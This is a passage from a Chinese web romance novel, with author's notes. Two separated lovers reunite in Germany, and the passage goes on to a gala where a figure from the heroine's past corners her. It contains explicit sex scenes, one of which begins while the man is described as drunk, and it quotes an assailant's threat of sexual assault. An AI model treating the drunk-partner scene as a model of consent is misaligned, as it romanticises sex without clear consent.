“是我先遇见这位先生的,美丽的东方小姑娘,你得遵守规则。” 桑酒也是被惊呆了。 外国女人都这么狂放的吗? “No!”她拒绝。 奈何力量悬殊,桑酒根本不是人家对手,被扒拉得也不管三七二十一了,转身护崽子般将孟苏白一整个抱住,大半个身子压在他身上,声音也有些委屈了。 “孟苏白!你再不醒我就不管你了!” 她讨厌他出门在外不保护好自己! 与此同时,一只大手悄然间覆上她后腰,修长指骨一寸寸将她纤细柔软的腰肢圈住。 察觉到后,桑酒有片刻失神,不可置信低眸看去,恍然对上一双醉意微醺的眼眸。 孟苏白不知何时睁开了眼,目光迷蒙深情盯着她,似在判断眼前人是否是幻象。 “你醒了?”桑酒蓦地欣喜,也忘了对抗身后正扒拉着她手臂的金发女人,半个身子猝不及防被拉开了距离。 她整个人还没反应过来时,腰间的手忽然用力一带,将她一整个人拉入怀,随后紧紧环住,不让她有丝毫逃离的机会。 “孟苏白……唔……” 桑酒鼻梁直直撞到孟苏白下巴,吃痛低呼时,他忽然抬起另一只手,掌心扣住她后颈,随意用力将她的脑袋压下,以迅雷不及掩耳之势,吻上她的唇。 酒香冲入唇齿的一刹那,桑酒也似醉了,她浑身一僵,犹如雷击,身体愣住一动不动。 孟苏白眼眸紧闭,吻得温柔缱绻,令人沉醉,一点一点撬开她的唇瓣,像是醉酒后品尝一道心心念念许久的流心甜品,香甜可口的滋味,入骨流连。 “Schazi, lch vermisse dich……” 宝贝,我想你了。 沙哑的嗓音在低缓流淌的音乐之中,男人湿濡带着酒气的嘴巴,贴着那饱满红润柔软的唇,低声喟叹着失而复得的美梦。 桑酒眼睫颤了颤,呼吸也跟着断了许久。 而一旁德国女人听见男人低语,又见两人娴熟的接吻画面,意识到自己是撞上真情侣了,当即一边笑着道歉一边惋惜离去。 “Sorry……” 深陷热吻的两人早已仿若身处无人之地,舌尖相缠着无法自拔。 昏沉的霓虹将两人淹没在夜色里,暧昧拉扯的音乐撩拨着心弦,在这片随处可见情侣亲吻的国度里,他们相拥的身影也只吸引一众羡慕的目光,无人打扰。 男人身上隽永的沉香气息,混着飘香的酒味,强势攻入唇齿间,桑酒仅剩的气息很快被掠夺得一干二净。 直到小脸憋的通红喘不过气来,她才恍然回过神来,意识到两人在亲吻,猛地推开孟苏白,愣怔怔看了一眼眼神微醺的孟苏白,欲言又止,身子一侧,蜷在卡座里捂着脸,久久不敢抬头。 她不知道该如何面对刚才的失控,也不知道该如何跟孟苏白解释自己为什么会突然出现在这里 ,肩上却忽地一沉。 孟苏白没有说话,只是脑袋无力靠在她肩上,呼吸浅浅,整个沉重的身子几乎也压了过来。 “……孟苏白?”桑酒转过头,迟疑地出声。 孟苏白依旧一动未动。 真喝醉了? 明明刚才吻得又深又重,她还以为他人醒着! 桑酒无奈,只能调整好坐姿,让他靠得更舒服一些,又忍不住垂眸打量那张安静的睡颜。 他确实瘦了不少,原本就棱角分明的轮廓,此刻更加冷峻了几分,下颌线也越发明显。 桑酒看着看着,便默默垂起泪来。 她不敢想象这段时间,他经历了什么折磨,终是忍不住伸出手指,贪恋地拂过他好看的眉眼、熟悉的轮廓,性感湿润的薄唇…… 上一次这样近距离抚摸端详他,仿佛已经是上辈子的事情了。 “孟苏白,我想好好看看你。”桑酒低头,在孟苏白眉心印上沉重一吻。 又很久,仿佛自言自语:“最后一次了。”- 旅馆房间的门“滴 ”的一声打开,又自动合上。 桑酒抬手把方扣插入取电槽,而后扶着醉意沉沉的孟苏白往床边走去。 还好孟苏白虽然人醉着,但隐约还有些意识,一路任由她摆布牵引,倒也没有费些什么力。 她陪着他在酒吧坐了大半小时,也没见人来接,担心他人醉久了不舒服,只得寻了最近一家旅馆,想着让他好好休息一下。 原本只打算订一间普通的房间就行,但是灯开的那一瞬间,桑酒有些傻眼了。 房间很大,布置得也非常浪漫,入眼是那张超大双人床,用无数片玫瑰花瓣摆了一个红色爱心。 前台小姑娘英语不太好,说的德语桑酒根本听不懂,所以两人几乎是用手语交流完成,大概是看他们关系亲密,特地给开了情侣房间。 好在孟苏白醉着看不见,桑酒也懒得去计较了,扶着他去到了床上,气喘吁吁跪在床边缘,想着将人轻轻放下。 但男人很重,她才松手,那副沉重的身体就直直往下倒,搭在肩上的手臂还顺带把她给搂了下去。 “啊——” 两人猝不及防压在床上时,那满床的玫瑰花瓣一瞬间被弹得到处都是,馥郁芳香扑鼻而来。 心跳也在这一刻被抛到了最高峰。 桑酒惊得瞪大了眼,半个身子趴在孟苏白胸口,一动不敢动,生怕动静太大,把他吵醒。 空气寂静了好一会儿,她才长舒了口气。 看来是没有醒。 桑酒打算起身远离孟苏白的胸膛,腰肢却被他掌心无意识紧紧扣着,动弹不得。 她小心翼翼探去,试图拿开他的手,却在相碰的一刹那,骤然心生贪恋。 孟苏白的手指,让她疯狂迷恋的手指,那样修长性感,骨节分明,让人忍不住回忆起它曾在她身体里肆意的时刻。 许是趁着他醉酒的机会,桑酒忍不住纵容了一下自己,不由自主握住那只大手,指尖微颤钻入他掌心,一点点分开五指,插。入指缝,像从前无数次他们十指交握,不可分割。 她沉浸于被他的温度包裹住的幸福时刻,头顶却冷不丁传来男人沙哑的声音。 “泱泱?” 桑酒脑子瞬间炸了,人也清醒过来,指尖急忙往回收,试图抽离开他温热的掌心。 却逃离失败。 五指将收时,猝不及防被男人宽厚的大掌扣住,甚至在桑酒还没反应过来时,便一阵天旋地转。 男人修长的身躯将她柔弱身子压下。 两人鼻尖相抵,呼吸萦绕,十指交握。 桑酒有些慌乱,口干舌燥,掀眸去看孟苏白,见他依旧半眯着眸,意识朦胧地盯着她。 但即便如此,他也没有给她出声的机会,唇迫不及待重重地落了下来。 这是比刚才在酒吧还要热烈急切的吻,仿佛隐忍了许久,在这一刻爆发,凶狠强势,占据她的一切,密不透风拥着她瘦小的身子。 “泱泱,不要离开我。” 低哑的呢喃贴着脖颈钻入耳朵,桑酒眼睫轻微闪动,紧绷的身子在他怀里缓缓舒展开。 原本心里想的是,把他送过来就在一旁静静守着,等到天亮再悄悄离开,但现在局势骤然转变,他的吻那样炽热蛊惑,她根本做不到无动于衷。 既然他已经醉了,既然是最后一次相见了,那就不要浪费这良辰美景了吧。 就让这最后的重逢再绽放得更美丽一点,她将永远记住今夜的欢。愉,然后去孤独一生。 搭在男人腰间的手,缓缓上移,摸向他脊背,温柔游走……- 鲜艳的玫瑰花瓣被身体挤压着榨出点点汁色,染上白色床单,艳丽荼蘼。 也有一两瓣误入唇齿间,被两人交缠的舌尖捣碎,浸着津液各自吞咽下。 孟苏白吻得热烈又不满,长指扣着她的下巴,从唇瓣吻到脸颊,再到修长细腻的玉色脖颈,滚烫的气息沿着锁骨落下,轻嗅着她身上久违的气息。 他亲手浇灌的玫瑰,时隔一年,终于再次在他面前绽放。 桑酒闭眼,身体比体内的欲。望更先沉沦,指尖摸索着他衬衫的衣扣,迫不及待想要与他体温更接近。 身躯贴得太紧,衣扣解得乱而慢。 孟苏白直接搂着她坐起来,又干脆利落脱了衬衫,露出健硕的胸肌,宽肩窄臀,腰腹线条极为流畅,暗含着锋锐又强劲的力量,窄瘦西裤下包裹着修长笔挺的双腿,屈膝跪在她两侧,他目光扫下,缓缓压低身子,贴着她又吮上那微肿的唇。 沉吻间,指腹捏住她的薄衬衫领口,慢条斯理摩挲着、解锁着。 “泱泱……”男人屈膝抵床跪下,沉着腰俯首,低声呢喃她的名字。 湿意温热从肩侧滑落,一路前行。 那种失而复得的珍重,比酒香更令人心醉。 六月的晚风虽然燥热,但靠近海又带着一股清凉,泛红的肌肤暴露在空气中,起了一丝战栗,直到温热覆上,才逐渐消失。 孟苏白俯首亲吻而下。 桑酒低呼一声,乱了气息,仿佛溺水的小猫,抓着眼前唯一的可攀的岩岸。 直到此刻的疯狂肆意,若有若无的刺痛传入神经,头皮发麻的一刻,她才彻底活过来。 整整两百八十六天,这是比之前四年还要痛苦麻木的两百八十六天,是她在地狱生活的两百八十六天。 每一分每一秒都仿佛沙漏中的沙子,毫无感情地滴落流逝,日复一日,没有尽头。 因为害怕克制不住去找他,她亲自砍断自己的情丝,封闭所有关于他的一切,仿佛这一生从未遇见过孟苏白这个人,仿佛他是另一个世界的神。 她不断告诫自己不要爱上不属于自己的神,越是压抑,便越会在抛下一切禁锢拥抱他时越疯狂。 此刻在他温实的怀抱里,她的情丝疯长蔓延。 想与他贴得更近,想被他的热度灼伤,想将自己揉碎送入他唇,痛与爱意同时迸发,早已分不清现实与幻境。 而此刻,他在吻她。 他在她全身上下留下痕迹。 这些痕迹明天醒来,依旧会在。 桑酒闭目深呼吸,脑袋微微后仰,沉醉在他的唇齿舌间。 “唔……孟苏白……” 太久没有过了,她深吸了一口气,疼得不行。 腰身也几乎要无力继续直起身来,手虚弱无力扶着孟苏白的肩背借力,尖锐的指甲划过男人宽阔的后背,毫不留情划下一道血痕。 然而纵然动情至深,桑酒也摸出了一些异常来,平整光滑的肌理如润玉,指腹一一碾,过却被细微的凸起勾起了迟疑。 她倏然想起贺煜提过的那道疤痕,心尖忽然被烫了一下,随即缓缓睁开眼,顺着掌心附着的地方望去。 那道触目惊心的疤痕,自肩胛斜切至腰侧,虽然已经快淡到看不清,只有手用心去摸,才能摸出来。 虽然有了心理准备,但真正见到那么长一条伤口,几乎切断他整个背部时,桑酒还是忍不住瞬间就崩溃破防,放声大哭起来。 孟苏白听到她失控的哭声,唇舌退出,挺起腰身去看她,指腹缓缓摩挲过桑酒的眼尾,片刻便被滚烫的泪水浸湿。 他不知道她为何忽然哭泣,压在她脸颊上的吻,伴随着温热低哑的一声迟疑。 “泱泱……” 孟苏白以为是自己今晚的失。控吓到她,可日思夜想了许久,除了一场半真半假的醉酒,他实在找不到更好的理由将她留下。 她总有诸多理由远离他。 沉默间,他的公主哭得越发汹涌,不可收拾。 “对不起……”桑酒压抑着颤抖的声音,“我有罪,我不该逼迫你的,如果可以重新选择,我绝不会对你说那些话,我根本就不想和你浅尝辄止,也不是为了什么及时止损。” 她仰眸,泪眼婆娑望着他消瘦的脸庞,眼里是无法原谅自己的悔恨与痛意:“我只想你好好的,好好活着,不要你为了我不顾性命……” 这段时日,她想了许多,也彻底想明白,为什么他会孤注一掷,去赴那场生死赌约。 或许,他只是想给她一个交代,无论生死,都不再让她活在等待中,只是他没想到,虽然九死一生活了下来,得到的却是她要跟别人结婚的消息。 那个时候,他一定生不如死吧。 她怎么可以这么坏? 桑酒哭得几乎要断气,眼眸痛得苍白一片,滚烫的热泪沿着脸颊落下,砸在孟苏白手背,一遍遍跟他忏悔、自责。 “对不起,孟苏白……对不起……如果不是遇见我,你的人生……完全不用经历这些磨难。” 眼前的人儿泣不成声,孟苏白的眉心也皱成一团。 所以,泱泱。 你是在为我哭泣吗? 他的手掌贴着她湿润的脸庞,为她一遍遍拭去泪水,声音贴着她的耳:“我从不后悔遇见你。” 哭得肝肠寸断的桑酒根本听不到任何声音,她沉浸在自己悲痛的情绪里,那些不敢想象的后怕,在这一刻被放大,恐惧与战栗几乎让她精神分裂。 是不是这些都是幻想? 是不是孟苏白真的没回来? 是不是老天爷要惩罚她,给她一轮镜花水月,等梦醒来,再狠狠折磨她? 一切都甜蜜得太过虚假,她犹如惊弓之鸟,不敢再沉沦,又希望如果是梦的话,永远都不要醒过来了。 看着哭得破碎的人儿,孟苏白再度将她纳入怀里,拼尽全力拥紧她,感受到她颤抖的身躯,那样瘦小,薄薄一片,他整个心都在发痛,眼角跟着一片湿润。 “别哭,”他将她被泪水打湿的发撩至耳后,唇贴上她眉心:“我好好活着,就在这里。” 桑酒也不想自己哭得没完没了,可压抑了快一年,她实在太需要发泄情绪的出口了。 “你凶我?”她的委屈来得太霸道,“你喝醉也要凶我?” 孟苏白吻着她耳垂,落下一道轻微宠溺的笑声:“没有凶你。” “可是你不准我哭!”桑酒不管不顾依旧流着泪,“孟苏白,你太坏了!要我忘了你,又让我离不开你!分手时你也不让我哭,还监视我,我难过得要死也得忍着,他们都是你的眼线,每一个人都是,只要我哭,只要我情绪不对,他们就会告诉你我过得不好,告诉你我很想你,你就会立马出现在我身边对不对?” 控诉的余音在偌大的房间中回荡着,孟苏白沉默了片刻,对上桑酒梨花带雨的眼眸,声音低沉沙哑:“对,只要泱泱想,我就会回来。” 可他的泱泱太过坚强,又太会伪装,连他也被骗到了。 桑酒瞬间哭得更悲伤,扑在他颈窝:“孟苏白,你真的很讨厌!” 温热细腻、干净清爽,是熟悉的沉香味道……她猛吸一口,张开了嘴,连哭带咬,泪水落了他一锁骨窝。 “嘶……”孟苏白扣着她后颈,翻身将人放倒在床上,气势强硬地欺身贴了过去,吻不再克制。 “哭成这样,是不想让我哄了?” 发现温柔根本对她没用,他咬着她的唇,将她止不住的抽噎声吞入,“还是泱泱想要我用其他方式?” 桑酒搂着他脖子:“孟苏白,你是真实的吗?” “感受下。”温暖的五指掐着细腰,蓦地用力,孟苏白的吻同时落下。 一切轻车驾熟又迫不及待,陌生的国度,被尘封许久的绿洲,终于再次迎来甘霖雨露。 “……唔!”桑酒恍然回过神来,目光和神情依旧迷离又彷徨,仿佛又回到了第一次。 总感觉有些不对劲,难道时隔一年还会变化? 又或许是攒了一年的思念,要一朝在此刻用尽,他不再温柔缱绻,压着她双手交叠在头顶,凶狠得恨不能将柔弱的她拆吞入腹,危险气息十足。 桑酒果然被吓住了哭声,只是眼睛里的雾气又更浓了一层…… 在最后一刻,眼泪又跟着扑簌簌落下。 孟苏白拱了拱不舍出来,俯身用唇舌舐去她湿咸的泪水,噙着一丝坏笑低语:“宝贝,怎么这么能水?” 流不完的泪水和黏腻,都让他心疼翻倍,很快又起了心思。 桑酒蜷在他怀里,气息微喘,薄汗涔涔,空气中散着颓靡旖旎的气息,她指腹贴着他后背那道长疤,缓缓摩挲打着圈,声音哽咽又沙哑。 “孟苏白,我想亲亲它。”—— 作者有话说:久等啦!- 写这一章在听纯音宿命版的《大梦归离》 “总有一天我会回到老故乡……” 回到所爱之人身边,就是回到心灵之家吧 第78章 那夜, 酒店房间的灯亮到天明。 直到天快亮了,孟苏白将她拥着沉沉睡去,桑酒却全程不敢闭眼, 虽然身体累极, 骨头缝都泛着酸痛, 可她舍不得就这样睡去。 好怕一切都是梦。 她依在孟苏白怀里, 像个偷偷潜入心房的小偷, 贪婪地享受着被他拥住的时光。 原本做好了坦白的打算,怎料清早收到苏菲的信息——母亲的假体打印成功,不日就可以手术, 要她尽快回去签字, 桑酒见孟苏白睡得深沉,想着他昨晚灌了那么多酒酒, 需要好好休息, 便没舍得打扰,独自匆匆离开。 乘坐火车从基尔回到慕尼黑,窗外的景色呼啸而过,桑酒的心情是雀跃又甜蜜的。 回想起昨晚面红耳赤的时刻, 从她亲吻那道勋章的疤痕开始, 一切就往失。控的方向发展,她吻得很虔诚,孟苏白却浑身紧绷着, 屏着气息回头看她, 目光炙热。 “还疼吗?”她一边亲吻, 一边心疼询问。 湿濡柔软的舌尖划过薄薄疤痕,她也学会了用唇瓣去吮吻他每一寸肌肤。 孟苏白的神色变了变,眸底更加晦沉下来:“这算什么, 还有更疼的。” 桑酒抬起眼眸,眼泪就要哗啦啦落下。 孟苏白反手揽住她腰肢,冷不丁连人抱起放到前面,坐到膝上。 他按着桑酒后颈,让她耳朵贴近自己心房:“这儿,被你抛弃了多久,就疼了多久,一天比一天更甚。” 那怦怦作响的心声,和当初在港城那夜跟她告白时一样热烈。 桑酒转头,鼻尖与吻轻柔落下。 “孟苏白,对不起。” 她决定好好补偿他。 “这次换我来,好不好?” 吻沿着肌理落下,她将孟苏白推倒,稳稳坐了上去。 桑酒也想释放自己的疯狂和欲。念。 她扶住时身体往下一沉,孟苏白亦本能迎合而上,待稳住身心时,桑酒捉住他遒劲有力的手,借力而行,目光直直盯着那双深邃沉沦的眼眸。 孟苏白另一只手扣住她臀部,暗暗使力,丝毫不手软往下深摁得严丝合缝。 桑酒疼得眼里又蓄起了泪意,背脊上也跟着冒了一层热汗,许久没有练习过蹲马步,没几分钟她就坚持不住,身体顺势倒在他身上,大口喘着气。 孟苏白双手扶着她的腰辅助继续,同时亲在她耳边低笑:“许久不练,宝宝,退步了,体力不如从前了。” 桑酒眼尾泛红,埋怨地瞪了他一眼。 这一年,她一门心思沉浸于工作,都没有精力投入身材管理,舞蹈课也落下好多,如果不是因为心情不佳吃得少,估计现在要胖一大圈,在第一轮回合下就躺尸了。 最终,还是在孟苏白游刃有余的带动下,带着桑酒找到两人合拍的节奏,勉强完成一局。 在上的代价是她的腰酸痛了一天,膝盖也破了皮发红,后来伸长了腿搭在他肩上,被他掐着脚踝,他手臂青筋凸起,指腹在她肌肤上留下深红的印记。 这些印记和脖子上的吻痕一样,久久未曾消去,导致桑酒一整天心情都恍惚的,再加上母亲手术时间安排妥当,她心情达到了近一年最幸福时刻,抱着手机在病房,来回查看。 傅滢秋察觉出女儿今日的异样,那是与她手术在望无关的一种愉悦,像是沉浸在恋爱中的小姑娘,魂不守舍等待着心上人的消息。 “我们泱泱,这是恋爱了?”她忍不住询问。 这些年,傅滢秋能感觉到女儿有为情所伤,也确定不是因为李佑泽,而是一个她不知道的男人,她多次想要问清楚,可看着女儿坦荡又坚强的笑容,又怕自己的追问会适得其反。 好像自那年自杀被救醒悟过后,任何负面情绪,在桑酒这儿都能自行消化。 虽然这话有点残忍,但傅滢秋只能庆幸,庆幸她的女儿足够强大,不会拘泥于任何悲伤情感。 作为母亲,她希望女儿能幸福,可幸福的前提,是好好活着。 活着,胜过万千。 活着,才有新生。 桑酒望着母亲小心翼翼的眼神,忍不住去拥抱她。 她也想把这份喜悦第一时间分享给最亲近的人。 “妈妈,我想,我可以回到他身边了。” 桑酒靠在母亲肩上,喜极而泣的泪水不再隐忍。 “是泱泱喜欢了很多年的男人?” 桑酒摇头,眼泪泛滥:“不是喜欢,是爱,刻在骨子里的那种爱。” 傅滢秋第一次见女儿这样直白表达爱意,也跟着笑:“真想看看,能让我们泱泱爱到骨子里的男人,是何方神圣。” 桑酒忽然害羞起来,因为母亲还真见过孟苏白。 “您见过他,”她小声哽咽说道,又感到十分庆幸,“也对他赞不绝口过。” 母亲后知后觉得知她喜欢的人,就是元旦来家里讨水喝的小伙子,便一直沉浸在喜悦中。 “我就说,他一定是喜欢你的,那天,他就站着你照片前,看了很久……” “我们泱泱看男人的眼光不错,很俊,又很善良!” “和妈妈讲讲,你们是怎么认识的?” 桑酒也不知道该如何跟母亲说。 孟苏白的身份还是太过特别,她担心母亲知道后会心生不安,毕竟,她也没想好要怎么解决这个问题。 也许应该由孟苏白亲自来说比较好。 然而,从她离开基尔也过去将近半天了,孟苏白还没有来找她,甚至……没有信息过来。 桑酒的幸福倏然凝固在心头,心头涌上一丝不好的预感来。 即便喝醉了,此刻也应该早醒了,更何况,云叔肯定会去找他的。 难道,孟苏白他……断片了? 把她忘了? - 而这一夜,远在柏林的一别墅内。 孟苏白守着三个月大的侄子小泽一天,直到孩子完全退烧,才舒了一口气。 他拾起沙发上的风衣,便准备离开,又一道吩咐保姆:“烧退了,这几天注意保暖。” 身后的梁婉盈亦是一脸憔悴外加心慌:“你要走?” 孟苏白心不在焉嗯了一声,掏出手机看了一下置顶。 竟然没有一条信息。 他的泱泱,难道又打算吃干抹净不负责任? 孟苏白皱眉,迫不及待想回到慕尼黑,回到她身边。 可梁婉盈拦住了他:“Kings,我担心……万一……” 孟苏白抬起眸看她:“医生和保姆都在,你无需多想。” 最后又意有所指说道,“你别带他外出吹风就行,小泽还小,不适合舟车劳顿。” 梁婉盈怔然:“我只是想着,你身体好了,带他去看你……” 孟苏白说:“我得空自会来看小泽,大嫂只需好好照顾他成长,如果柏林你不喜欢,我可以安排你们回港城,阿爷十分想念小泽。” “你要赶我们母子回去?”梁婉盈语气有些凄凉,“你说过,会保护我们的。” “无论在哪儿,你们都是安全的。”孟苏白声音逐渐冷淡,这句话说的并非承诺,而是警醒。 “可在哪儿我都不放心,只有在你身边。”梁婉盈盯着他,几乎是恳求的语气,“Kings,你能不能再待一会儿,就一小会儿,小泽醒来看到你,会很开心的。” “不了,晚上还有一场重要的晚会。” 梁婉盈表情有些僵硬,问他:“是为帆船夺冠的庆祝晚会,还是为了那个女人?” 孟苏白皱眉:“大嫂对我的关注,未免有些逾矩了。” “我只是听说,你从米兰时装周订了一套最新款礼服,是她对吗?” 孟苏白眸色骤冷,也不再客气:“既然大嫂提起来,那有些帐,我该跟您算一算了。” 梁婉盈苦涩一笑:“她跟你说了?” 孟苏白冷哼一声:“她只字未提,一直遵守着跟你的承诺,因为这个见鬼的承诺,我和她分开了近一年,她如行尸走肉,我亦痛不欲生,你们满意了?” “Kings,她不适合你,早点分开,也是为了你们好,在我们这种豪门望族里,她这样的人,根本撑不起孟家女主人这个沉重的身份。” “她撑得起我孟苏白夫人这个身份,就足矣。” “Kings?” “如果孟家容不下她,那也无需容下我了,”孟苏白语气强硬,“也请大嫂谨记,我跟她的事情,与家族兴盛无关,她是我孟苏白认定的女人,以后,任何人都拆不散我们。”- 傍晚时分,一辆库里南驰着暮色驶过森林,抵达别墅。 主栋别墅内,佣人们正忙碌着准备一场盛大晚宴,见到风尘仆仆的男人走进来,皆放下手里的活,恭敬弯腰问候。 孟苏白摆了摆手,匆忙上了楼。 站在二楼阳台位置,一眼望去,入眼那座万紫千红盛开的花房里,女人坐在藤椅上,正专注于画板之上,仿佛对外界的热闹一无所知。 他不禁露出些许无奈表情,经过昨夜之事,她怎么还能如此镇定自若。 然而下一秒,桑酒转身离去,留下画板在花房里。 孟苏白半眯着眸,却依旧看不清,他不得不拿出手机,调到相机模式,拉近视角。 等终于看清桑酒画的是什么时,他不禁勾了勾唇,心底荡漾起一种迫不及待的喜悦。 泱泱,我们很快就要见面了。 孟苏白转身去衣帽间,准备换上晚会的衣服。 身后浪漫花房里,微风拂动素白的画纸,闭眼微醺陷在黑色沙发里的男人,冷峻眉眼中,又多了几分柔和。 “桑桑姐,这是他们给您送来的礼服,要不先试一下尺寸吧。” 房间内,苏菲捧着一套礼服过来,桑酒兴致缺缺看了一眼,眼里并无波澜。 一个小时前,S先生忽然发信息给她,说别墅内晚上有晚宴,不但邀请她参加,还给准备了礼服。 桑酒一心挂念着孟苏白,其实并没有多少兴趣,但碍于别墅主任的邀约,不得不赴约。 苏菲貌似还懂得一些化妆技巧,特意带了一套化妆品,前前后后忙活了一个多小时。 最后抖开那套礼服时,桑酒有些一刹那失神。 竟然是一套黄色的! 或者更准确点来说,是一条金色塔夫绸礼服,胸前随意抓出廓形,灵动古典又文艺,米色网纱的裙摆绣满了金色玫瑰,开出浪漫花海,像是误入莫奈的花园。 桑酒蓦然想起多年前,她在法国也穿过一件类似这样繁花锦簇的裙子,还拍了照片挂在家里,只是没有这件隆重繁琐。 也许是巧合。 可衣服尺寸竟然也与她的身形严丝缝合。 多一分会少了丝丝入骨的仙气,少一分则多些小家子气的拘谨。 “桑桑姐,好漂亮啊!就像花中仙子一样!”身后的苏菲望着镜子里的人儿,不禁感叹。 桑酒脑海中闪过什么,她惊然起身,拿起手机就往楼下奔跑而去。 “桑桑姐,你去哪儿?宴会还没开始呢……” 桑酒恍若未闻,她心底始终有一个疑惑。 也许是错觉。 但她总觉得,孟苏白就在身边。 隔壁那栋神秘的阁楼,此刻一楼宴会厅正灯火通明,垂坠的水晶如瀑布般闪耀,烛火与水晶光芒相映成辉,来宾也是身着华服手捧香槟,如此梦幻又奢华的场面,丝毫看不出前几天这里还清冷寂寞得瘆人。 桑酒踩着高跟鞋,目光越过层层人影,掠过西装革履的肩头,在每一张侧脸、每一个转身间吸吸搜寻,连呼吸都下意识放轻,生怕一不留神,就错过那道她心心念念的熟悉身影。 孟苏白,你就在我身边,对不对? 置身于这喧闹繁华的人潮涌动之中,这个念头便越发笃定,面对接踵而来的宾客搭讪,桑酒忽然就没了耐心。 此刻,她只想见到他。 桑酒寻了一处安静的小房间,拿出手机,找到孟苏白电话,正打算拨出,身后忽然飘来一道男声,音色混浊轻浮,带着一丝不怀好意,听得人头皮微微发紧。 “小酒姑娘?好久不见啊——” 桑酒浑身一震,还未回头,思绪便飞速运转,在记忆里搜寻这道令人不适的声音。 小酒这个称呼,是她从前在金色年华当服务员时的名字。 如今,还能叫出这个名字的,无非…… 桑酒缓缓转过身,目光扫向身后的男人。 虽然穿着西装,人模狗样,但还是无法遮掩那张恶贯满盈的油腻脸,她内心忽然泛起一阵惊悚,还未来得及出声,男人忽然关上门,恶狠狠逼近。 “看来,小酒姑娘也还记得我?” 怎么会忘记! 噩梦犹如藤蔓一样缠了上来,桑酒心里作呕似的的浑身颤抖,她下意识往后一退。 那是光看一眼,就会起应激反应的噩梦,更何况是在如此密闭的空间里。 桑酒从未想过,会在今日,在这里,碰见往日仇人。 房间外,灯火阑珊,鼓瑟吹笙。 亦如那一年,金色年华冷漠的夜—— 作者有话说:抱歉来迟啦,过年实在太忙,正文完结要在下一章啦! 提前祝宝子们新年快乐!事事顺遂!《 》 【全文完结】 第79章 孟苏白接了个工作电话后, 换了一身黑色西装下楼。 见云叔侯在楼梯口,迎过去眉头轻皱询问:“云叔,昨晚她说我瘦了, 那这衣服是不是已经不贴身了?” 他浑然不知自己就像个刚恋爱的毛头小子, 赶着去约会, 却又担心衣着不适, 在心爱的姑娘面前失了魅力。 昨晚她哭过之后, 对他心疼不已,那些亲密的动作都做得特别克制,甚至不惜亲自上场, 只为了不让他劳累半分。 虽然这种主动令孟苏白着迷到无法自拔, 可着劲暗生生为自己谋取了不少福利,但想到自己在她眼里是个病秧子, 不复往日英勇, 他便有些哭笑不得。 为了用最好的身体状态去见她,他费尽心思加倍复健,力求尽快回到从前模样。 不能再让她心疼。 云叔替他整理了一下衣领,笑容温和:“那她呢?Kings觉得时隔一年未见, 她怎么样了?” 孟苏白眼眸落寞, 过了一会儿,语气心疼说:“瘦了很多,我抱着都生怕弄疼了她。” 云叔笑而不语。 有一句话怎么说来着, 许久不见的恋人再次重逢, 第一句话不是我想你, 而是你瘦了。 因为爱,因为心系对方,才会觉得离开自己, 对方过得很不好。 而回味过来的孟苏白,亦跟着傻笑了一声:“忽然有些后悔。” “后悔什么?”云叔问。 “后悔为了准备一场惊喜,害她白白又难受了一天。” 有时候,恋爱真的会让人降智,尤其是失而复得之后,患得患失,生怕所有重逢都是一场梦,便想要一场盛大的告白,来见证他们不再分离的事实。 “那就快去找她吧。”云叔也忍不住催促,明明是笑着,眼眶却瞬间湿润。 这一年,他们都过得太辛苦了。 “嗯,”孟苏白抬腿下了楼梯,走了两步,又回头吩咐,“云叔,把楼上轮椅收起来,别让她瞧见。” 见到那些东西,她估计又要哭鼻子,他会心疼。 “还有,她最爱玫瑰,一定要铺满整个楼梯和房间。” “好。”云叔含笑,一一点头。 “烟花放久一点。” 要弥补去年那场,他们未能一同观赏的遗憾。 “Kings,有云叔在,不会出错。”云叔向他保证。 孟苏白浅笑低眸,明白自己在关心则乱,竟然操心这些事情去了。 此刻,他只需要出现在她身边即可。 然而觥筹交错的宴会上,却并未见到那道熟悉的身影。 而此时,开场舞即将开始。 又貌似发生了些小插曲,有人围着交头接耳。 “一个漂亮的中国女孩……被男人堵在房间……跑了……” 断断续续的德语落入孟苏白耳中。 他眉峰一蹙,心中不祥的直觉强烈而骤然,当即给桑冀的小助理打去电话,确认半小时前,桑酒提前下了楼。 又给桑酒拨去电话,依旧是无人接听。 此时,别墅管家已经调取了监控过来,画面清晰显示一个中年男人尾随桑酒进入房间,那间房里面没有监控,直到十分钟后,桑酒才面色匆匆从房间里出来,脚步踉跄跑出了别墅,而后过了许久,那个男人也用衣服遮挡住脸,偷偷摸摸出来。 孟苏白眸光渐渐凌厉,几乎是压着一股杀气,冷声吩咐:“盯着他,不要打草惊蛇,等我回来。” 无论发生什么事情,他必须让这个人付出代价。 而后,孟苏白亲自驾车,沿着马路驶离别墅。 监控路段有限,只看到桑酒仓皇离开庄园的背影。 二十分钟的时间,乡野道路漆黑,她应该走得还不远。 可手机打不通,在这异国他乡的夜间,她独自一个人,又受了委屈,该有多难过。 孟苏白心急如焚,油门踩到底,又生怕错过每一个可能藏着她背影的树林,天色太暗,车前两盏远光灯狠狠撕裂黑夜,每一秒对他来说,都仿佛游走在悬崖,随时可能万劫不复。 云叔打电话过来说调查清楚那人的身份信息,现在人已经在监控范围内,等待他下一步指示,并询问是否要派人过来一同寻找。 孟苏白神色凌厉拒绝了:“不用。” 他不知道房间那十分钟到底发生了什么,如果兴师动众是否会对她不利?她现在一定不想见到任何人,可这四周荒无人烟,她又想去哪儿? 道路弯绕,车子开出了很远很远,远到孟苏白的心脏绞着痛,耳膜仿佛被刺破杂声凌乱,听不清这个世界任何声音。 金色的人影漂在寂静黑沉的道路边,像坠落山林的一缕残月,随时都要消失。 孟苏白瞳孔骤缩。 车身猛然停住,他推开车门,不顾一切大步跨过去,声音哑的厉害,像被砂纸磨过,带着失而复得的后怕。 “泱泱!”- 好像梦境一般。 桑酒不知道自己跑了多远,为了逃离那个可怕的地方,她甚至弃了碍事的高跟鞋,一路赤脚奔跑,尖锐的石子磨着脚底细嫩的肌肤,磨破皮,扎入血肉却仿佛感觉不到疼。 直到最后实在筋疲力尽,她累到停在路边,大口喘着气。 身后别墅已经看不到灯火,世界一瞬间安静下来。 桑酒弯下腰,抱着膝盖,夜风在耳边呼啸,世界也被黑暗笼罩,偶尔夹杂着几声虫鸣鸟叫,与刚才的纸醉金迷彻底割裂。 垂下眼眸,她想冷静,眼前浮现的,依旧是男人狰狞的面目和不可抵抗的力道。 桑酒从未想过,在这异国他乡,会再次碰见曾经想侵犯她的畜牲,也没有想到,他竟然还敢再犯。 “小酒姑娘,你比十年前更漂亮更诱人了,十年前没有尝到滋味,今天我倒要好好尝尝……你叫吧,就是叫破天,也没有人理你……” 